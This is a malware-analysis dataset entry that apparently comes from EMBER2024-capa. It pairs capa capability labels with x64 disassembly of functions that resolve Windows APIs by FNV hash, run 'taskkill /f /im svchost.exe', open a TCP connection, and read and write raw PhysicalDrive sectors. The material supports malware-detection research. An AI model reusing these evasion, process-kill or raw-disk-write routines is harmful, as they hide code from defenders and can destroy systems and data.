joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014f0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x500
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400015c8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400015c8
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400015c3
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1400015a0
cmp edx, 0x9bc5a608
je 0x1400016ee
test r8d, r8d
jne 0x140001580
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1400015de
cmp qword [rax + 0x30], 0
jne 0x140001550
xor eax, eax
call rax
mov dword [rsp + 0x50], 0x100010
mov rbp, rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140001688
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140001688
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140001683
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140001660
cmp edx, 0x85cca27e
je 0x14000170a
test r8d, r8d
jne 0x140001640
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x14000169e
cmp qword [rax + 0x30], 0
jne 0x140001610
xor eax, eax
lea rdx, [rsp + 0x20]
mov rcx, rbp
call rax
test eax, eax
je 0x140001728
cmp qword [rsp + 0x68], 0
jne 0x1400016e7
cmp qword [rsp + 0x70], 0
jne 0x1400016e7
cmp qword [rsp + 0x78], 0
jne 0x1400016e7
cmp qword [rsp + 0x80], 0
jne 0x1400016e7
cmp qword [rsp + 0x88], 0
jne 0x1400016e7
cmp qword [rsp + 0x90], 0
je 0x140001728
mov eax, 1
jmp 0x14000172a
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1400015e0
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1400016a0
xor eax, eax
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.140001dc0
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001760
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x28
call fcn.1400014f0
call fcn.1400012b0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
call section..text
cmp eax, 1
jne 0x140001911
mov rax, qword gs:[0x60]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x20], rdi
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140001837
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140001837
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001832
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140001810
cmp r8d, 0x491e0a9c
je 0x14000183c
test r9d, r9d
jne 0x1400017f0
mov rax, qword [rax]
jmp 0x1400017c0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, str.taskkill__f__im_svchost.exe
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400018e7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400018e7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400018e2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1400018c0
cmp r8d, 0xcded1a85
je 0x1400018ec
test r9d, r9d
jne 0x1400018a0
mov rax, qword [rax]
jmp 0x140001870
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rdi, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x30]
add rsp, 0x28
ret
Function at 0x14002e800
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov r15, rdx
lea r14, [rdx - 1]
mov rdi, rcx
xor r12d, r12d
nop word [rax + rax]
mov rsi, r12
mov rbp, r12
test r14, r14
je 0x14002ea16
mov rdx, qword [rdi + 8]
nop dword [rax]
nop word [rax + rax]
lea ecx, [rdx + 0xff]
shl rsi, cl
add rsi, rsi
nop dword [rax]
mov r10, qword [rdi]
mov ecx, dword [r10]
cmp ecx, 0x270
jne 0x14002e8c4
lea rax, [r10 + 8]
mov r9d, ecx
nop word [rax + rax]
mov r8d, dword [rax - 4]
xor r8d, dword [rax]
lea rax, [rax + 4]
btr r8d, 0x1f
xor r8d, dword [rax - 8]
mov ecx, r8d
and cl, 1
neg cl
sbb edx, edx
shr r8d, 1
and edx, 0x9908b0df
xor edx, dword [rax + 0x62c]
xor edx, r8d
mov dword [rax + 0x9b8], edx
sub r9, 1
jne 0x14002e880
mov ecx, dword [r10]
jmp 0x14002e9a7
cmp ecx, 0x4e0
jb 0x14002e9a7
lea r11, [r10 + 0x9c4]
mov ebx, 0xe3
mov eax, dword [r11]
nop
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, edx
xor ecx, dword [r11 + 0x634]
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14002e8e0
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop word [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14002e930
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
mov ecx, r12d
mov dword [r10], r12d
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
mov r8, qword [rdi + 0x10]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and edx, 0xffffdf8c
shl edx, 0xf
mov ecx, edx
xor rcx, rax
mov rax, rcx
shr rax, 0x12
xor rax, rcx
cmp rax, r8
ja 0x14002e860
mov rdx, qword [rdi + 8]
or rsi, rax
lea ecx, [rdx + 0xff]
shl rbp, cl
add rbp, rbp
or rbp, r8
cmp rbp, r14
jb 0x14002e850
xor edx, edx
mov rax, rbp
div r15
mov rcx, rax
mov r8, rdx
xor edx, edx
mov rax, rsi
div r15
cmp rax, rcx
jb 0x14002ea3a
cmp r8, r14
jne 0x14002e830
mov rbx, qword [rsp + 0x20]
mov rax, rsi
mov rbp, qword [rsp + 0x28]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
div r15
mov rax, rdx
pop r15
pop r14
pop r12
ret
Function at 0x14002ea60
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
mov rax, qword [rcx + 8]
xor r14d, r14d
mov edi, r14d
mov ebp, r14d
mov rsi, rcx
nop word [rax + rax]
lea ecx, [rax + 0xff]
shl rdi, cl
add rdi, rdi
nop dword [rax]
mov r10, qword [rsi]
mov ecx, dword [r10]
cmp ecx, 0x270
jne 0x14002eb04
lea rax, [r10 + 8]
mov r9d, ecx
nop word [rax + rax]
mov r8d, dword [rax - 4]
xor r8d, dword [rax]
lea rax, [rax + 4]
btr r8d, 0x1f
xor r8d, dword [rax - 8]
mov ecx, r8d
and cl, 1
neg cl
sbb edx, edx
shr r8d, 1
and edx, 0x9908b0df
xor edx, dword [rax + 0x62c]
xor edx, r8d
mov dword [rax + 0x9b8], edx
sub r9, 1
jne 0x14002eac0
mov ecx, dword [r10]
jmp 0x14002ebe7
cmp ecx, 0x4e0
jb 0x14002ebe7
lea r11, [r10 + 0x9c4]
mov ebx, 0xe3
mov eax, dword [r11]
nop
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14002eb20
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14002eb70
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
mov ecx, r14d
mov dword [r10], r14d
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov ecx, edx
mov dword [r10], eax
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and edx, 0xffffdf8c
shl edx, 0xf
mov ecx, edx
xor rcx, rax
mov rdx, rcx
shr rdx, 0x12
xor rdx, rcx
cmp rdx, qword [rsi + 0x10]
ja 0x14002eaa0
mov rax, qword [rsi + 8]
or rdi, rdx
add rbp, rax
cmp rbp, 0x40
jb 0x14002ea90
mov rbx, qword [rsp + 0x10]
mov rax, rdi
mov rdi, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
pop r14
ret
Function at 0x14002ec70
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x1340]
mov eax, 0x1440
call fcn.1400470f0
sub rsp, rax
mov rdi, r8
mov rsi, rdx
mov rcx, qword [rcx]
call fcn.14002dc10
test al, al
jne 0x14002ee36
movdqa xmm0, xmmword [0x14007aa70]
movdqu xmmword [rsp + 0x38], xmm0
xor ebx, ebx
mov qword [rsp + 0x48], rbx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
cmp qword [rdi + 0x18], 0x10
jb 0x14002ecd8
mov rdi, qword [rdi]
lea r9, [rbp + 0x1350]
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x14002edf6
mov rax, qword [rbp + 0x1350]
test rax, rax
je 0x14002ed0f
inc rbx
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x14002ed03
call fcn.140045eac
mov r8d, 0xffffffff
mov dword [rbp + 0x1334], r8d
mov dword [rbp - 0x4c], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 - 0x4c], eax
inc rdx
cmp rdx, 0x270
jb 0x14002ed30
mov dword [rbp - 0x50], 0x270
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov ecx, 0x40
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
dec rcx
shr rax, 1
cmp rax, r8
ja 0x14002ed70
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x20]
test rbx, rbx
jne 0x14002ed96
call fcn.14002ea60
jmp 0x14002ed9e
mov rdx, rbx
call fcn.14002e800
mov rbx, qword [rbp + 0x1350]
test rax, rax
je 0x14002edba
nop word [rax + rax]
mov rbx, qword [rbx + 0x28]
sub rax, 1
jne 0x14002edb0
mov rax, qword [rbx + 0x20]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov edx, eax
mov rcx, rsi
call fcn.140030610
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov rax, rsi
lea r11, [rsp + 0x1440]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.140030220
nop
mov r8, rax
lea rdx, str.Ipv4Resolver::resolve__getaddrinfo_failed_
lea rcx, [rbp - 0x78]
call fcn.1400016d0
nop
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140006d60
lea rdx, [0x1400986b8]
lea rcx, [rsp + 0x20]
call fcn.140047cc8
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
call fcn.14002e3d0
lea rdx, [0x140098cb0]
lea rcx, [rsp + 0x20]
call fcn.140047cc8
int3
Function at 0x14002f0f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
mov rcx, qword [rcx]
call fcn.14002dc10
test al, al
jne 0x14002f2a8
mov dword [rbp - 0x61], edi
mov qword [rbp - 0x59], rsi
xor esi, esi
mov dword [rbp + 0x67], esi
mov qword [rbp + 7], rsi
mov qword [rsp + 0x30], rsi
lea rax, [rbp - 0x11]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x67]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8d, [rsi + 1]
lea rdx, [rbp - 0x61]
mov rcx, qword [rbx + 8]
call qword [sym.imp.WS2_32.dll_WSARecv]
test eax, eax
je 0x14002f16e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
jne 0x14002f2cf
mov rcx, qword [rbx]
call fcn.14002da00
mov qword [rbp + 0xf], rax
mov byte [rbp + 0x17], sil
lea rax, [rbp - 0x11]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbx]
call fcn.14002da00
lea rdx, [rax + 0x70]
lea rcx, vtable.std::_Func_impl_no_alloc_class__lambda_ba592e99b77cc87b7eb140194ef6b88a___void___.0
mov qword [rbp - 0x51], rcx
mov qword [rbp - 0x49], rbx
lea rcx, [rbp - 0x51]
mov qword [rbp - 0x19], rcx
lea rcx, [rbp - 0x51]
call fcn.14002f310
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x14002f1cb
mov rax, qword [rcx]
lea rdx, [rbp - 0x51]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov rcx, qword [rbx]
call fcn.14002d710
mov rcx, qword [rbx]
call fcn.14002da00
lea rdi, [rax + 0x70]
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x14002f1f8
mov rax, qword [rcx]
cmp rcx, rdi
setne dl
call qword [rax + 0x20]
mov qword [rdi + 0x38], rsi
mov qword [rbx + 0x10], rsi
lea rax, [rbp + 0x67]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rbp + 0x7f]
lea rdx, [rbp - 0x11]
mov rcx, qword [rbx + 8]
call qword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
cmp eax, 1
je 0x14002f22e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e3
jne 0x14002f26b
jmp 0x14002f244
mov eax, dword [rbp + 0x7f]
mov rbx, qword [rsp + 0x128]
add rsp, 0x100
pop rdi
pop rsi
pop rbp
ret
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], rax
lea rcx, [rbp - 0x79]
call fcn.14002e3d0
lea rdx, [0x140098cb0]
lea rcx, [rbp - 0x79]
call fcn.140047cc8
int3
mov edx, eax
lea rcx, [rbp - 0x51]
call fcn.140030220
nop
mov r8, rax
lea rdx, str.TcpConnection::read__WSAGetOverlappedResult_failed_
lea rcx, [rbp + 0x1f]
call fcn.1400016d0
nop
mov rdx, rax
lea rcx, [rbp - 0x79]
call fcn.140006d60
lea rdx, [0x1400986b8]
lea rcx, [rbp - 0x79]
call fcn.140047cc8
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], rax
lea rcx, [rbp - 0x79]
call fcn.14002e3d0
lea rdx, [0x140098cb0]
lea rcx, [rbp - 0x79]
call fcn.140047cc8
int3
mov edx, eax
lea rcx, [rbp + 0x1f]
call fcn.140030220
nop
mov r8, rax
lea rdx, str.TcpConnection::read__WSARecv_failed_
lea rcx, [rbp - 0x51]
call fcn.1400016d0
nop
mov rdx, rax
lea rcx, [rbp - 0x79]
call fcn.140006d60
lea rdx, [0x1400986b8]
lea rcx, [rbp - 0x79]
call fcn.140047cc8
int3
Function at 0x14005889c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400586c8
Function at 0x180001200
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0xe0
mov rax, qword [0x180063e08]
xor rax, rsp
mov qword [rsp + 0xd0], rax
mov r14, qword [rsp + 0x138]
lea eax, [rdx - 0x80]
cmp edx, 0x80
mov ebx, r8d
lea r8d, [rdx + 0x41]
mov rsi, rcx
cmovae r8d, eax
lea rdx, str.._c:
lea rax, str..PhysicalDrive_d
mov ebp, r9d
cmovae rdx, rax
lea rcx, [rsp + 0x50]
call fcn.180001670
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, [rsp + 0x50]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000129e
xor eax, eax
jmp 0x180001322
mov eax, ebx
xor r9d, r9d
shr eax, 8
movzx ecx, al
mov eax, ebx
and eax, 0xc0
and ebx, 0x3f
lea r8d, [rcx + rax*4]
movzx eax, byte [rsi + 0x1cd85]
imul r8d, eax
mov rcx, rdi
movzx eax, word [rsi + 0x1cd83]
add r8d, ebp
imul eax, r8d
lea r8, [rsp + 0x4c]
add eax, ebx
shl eax, 9
sub eax, 0x200
mov edx, eax
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8d, dword [rsp + 0x130]
lea r9, [rsp + 0x40]
shl r8d, 9
mov rdx, r14
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.180007250
add rsp, 0xe0
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x180001340
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0xe0
mov rax, qword [0x180063e08]
xor rax, rsp
mov qword [rsp + 0xd0], rax
mov rbp, qword [rsp + 0x120]
lea rcx, [rsp + 0x50]
mov ebx, r8d
mov esi, r9d
lea r8d, [rdx + 0x41]
lea rdx, str.._c:
call fcn.180001670
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, [rsp + 0x50]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800013c1
xor eax, eax
jmp 0x18000140b
shl ebx, 9
lea r8, [rsp + 0x4c]
mov eax, ebx
xor r9d, r9d
mov edx, ebx
mov qword [rsp + 0x48], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
shl esi, 9
lea r9, [rsp + 0x40]
mov r8d, esi
mov qword [rsp + 0x20], 0
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.180007250
mov rbx, qword [rsp + 0x100]
add rsp, 0xe0
pop rdi
pop rsi
pop rbp
ret
Function at 0x180001430
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0xe0
mov rax, qword [0x180063e08]
xor rax, rsp
mov qword [rsp + 0xd0], rax
mov r14, qword [rsp + 0x138]
lea eax, [rdx - 0x80]
cmp edx, 0x80
mov ebx, r8d
lea r8d, [rdx + 0x41]
mov rsi, rcx
cmovae r8d, eax
lea rdx, str.._c:
lea rax, str..PhysicalDrive_d
mov ebp, r9d
cmovae rdx, rax
lea rcx, [rsp + 0x50]
call fcn.180001670
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, [rsp + 0x50]
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800014ce
xor eax, eax
jmp 0x180001552
mov eax, ebx
xor r9d, r9d
shr eax, 8
movzx ecx, al
mov eax, ebx
and eax, 0xc0
and ebx, 0x3f
lea r8d, [rcx + rax*4]
movzx eax, byte [rsi + 0x1cd85]
imul r8d, eax
mov rcx, rdi
movzx eax, word [rsi + 0x1cd83]
add r8d, ebp
imul eax, r8d
lea r8, [rsp + 0x4c]
add eax, ebx
shl eax, 9
sub eax, 0x200
mov edx, eax
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8d, dword [rsp + 0x130]
lea r9, [rsp + 0x40]
shl r8d, 9
mov rdx, r14
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.180007250
add rsp, 0xe0
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x180001570
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0xe0
mov rax, qword [0x180063e08]
xor rax, rsp
mov qword [rsp + 0xd0], rax
mov rbp, qword [rsp + 0x120]
lea rcx, [rsp + 0x50]
mov ebx, r8d
mov esi, r9d
lea r8d, [rdx + 0x41]
lea rdx, str.._c:
call fcn.180001670
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, [rsp + 0x50]
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800015f1
xor eax, eax
jmp 0x18000163b
shl ebx, 9
lea r8, [rsp + 0x4c]
mov eax, ebx
xor r9d, r9d
mov edx, ebx
mov qword [rsp + 0x48], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
shl esi, 9
lea r9, [rsp + 0x40]
mov r8d, esi
mov qword [rsp + 0x20], 0
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.180007250
mov rbx, qword [rsp + 0x100]
add rsp, 0xe0
pop rdi
pop rsi
pop rbp
ret

Function at 0x1800016d0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, 0xffffffff
test r8d, r8d
je 0x18000170b
mov r9d, r8d
lea r10, [0x180027430]
nop dword [rax]
nop dword [rax + rax]
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
movzx ecx, al
xor r8, rcx
shr eax, 8
xor eax, dword [r10 + r8*4]
sub r9, 1
jne 0x1800016f0
ret
Function at 0x180003540
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x180063e08]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov esi, 2
mov ebp, edx
mov rbx, rcx
mov r12d, 0xfffa
lea r13d, [rsi + 0x7e]
lea r15d, [rsi + 0x10]
nop dword [rax]
movzx edi, sil
lea rdx, str._c:_
lea rcx, [rsp + 0x30]
lea r8d, [rdi + 0x41]
call fcn.180001670
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test al, 3
je 0x18000368a
cmp dil, 2
jae 0x18000368a
lea r8d, [rdi + 0x41]
lea rdx, str._c:_
lea rcx, [rsp + 0x30]
call fcn.180001670
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
lea ecx, [rax - 1]
test r12w, cx
jne 0x1800035f9
cmp ax, 2
jne 0x18000368a
cmp ax, 3
lea r9, [rsp + 0x24]
mov ecx, edi
lea r8, [rsp + 0x20]
